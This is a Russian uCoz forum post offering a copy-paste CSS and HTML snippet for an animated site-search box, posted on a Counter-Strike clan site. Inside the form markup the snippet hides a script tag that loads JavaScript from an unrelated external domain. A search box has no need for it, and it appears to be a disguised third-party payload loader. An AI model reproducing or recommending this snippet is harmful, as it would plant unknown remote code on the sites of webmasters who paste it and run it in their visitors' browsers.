Меню сайта















Вконтакте

















Мини-чат















Наш опрос





Оцените мой сайт
Всего ответов: 184











Красивый поиск по сайту - Форум - Сайт клана Pro Tizer Team игры cs 1.6 - Описание сайта



[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: KenT  
Форум » WEB-Мастеру » Скрипты для uCoz » Красивый поиск по сайту
Красивый поиск по сайту
MayloДата: Вторник, 08.05.2012, 16:10 | Сообщение # 1

Рядовой

ICQ:6544565

Сообщений: 11
Награды: 0

[ 0 ]


http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>   
#wrap-search {   
margin: 0 auto;   
width: 100px;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
text-indent: 0px;}   

#wrap-search br { display: none; }   

#wrap-search #search {   
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
border-radius: 5px;   
padding: 4px;   
}   

#wrap-search:hover { width:200px; }   

.form-search {   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
border: 1px solid #747474;   
border-radius: 3px;   
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
height: 32px;   
position: relative;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
}   

.form-search input[type='text'] {   
background: none;   
border: none;   
color:#6E7074;   
height: 34px;   
line-height: 34px;   
padding: 0 27px 0 6px;   
font-family: Helvetica, Arial, sans-serif;   
font-size: 13px;   
text-shadow: 0 1px 0 #FFF;   
}   

#wrap-search:hover input[type='text'] { color:#597C84; }   

#wrap-search:hover .form-search {   
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
color: #25464D;   
}   

.form-search input[type='image'] {   
height: 32px;   
opacity: .5;   
filter:alpha(opacity=50);   
position: absolute;   
right: 0px;   
top: 0px;   
width: 32px;   
}   

.form-search input[type='image']:hover {   
opacity: 1;   
filter:alpha(opacity=100);   
}   

</style>   

<div id="wrap-search">   
<div id="search">   
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
</form>   
</div>   
</div>


Алексей
Форум » WEB-Мастеру » Скрипты для uCoz » Красивый поиск по сайту
  • Страница 1 из 1
  • 1
Поиск:








Наш Баннер






Наши баннеры










минипрофиль






Гость











Статистика





Статистика
Всего: 492
За месяц: 0
За неделю: 0
Вчера: 0
Сегодня: 0
Из них
Администраторов: 1
Модераторов: 1
Проверенных: 0
Забаненных: 0
Друзей: 3
Пользователей: 487
Из них
Парней: 487
Девушек: 5




Пользователи, посетившие
сайт за текущий день :










Друзья сайта






Мониторинг серверов
Мы Вконтакте
Монитор cs серверов
mon1toring.ru
cs 1.6 мониторинг Мониторинг серверов CS 1.6, сервера cs 1.6

Скачать CS 1.6
мониторинг серверов cs 1.6
Раскрутка серверов CS http://gungame.biz
cs monitoring steam серверов cs 1.6 оружие cs
Мониторинг серверов CS 1.6
Сервера CS 1.6
сервера для cs 1.6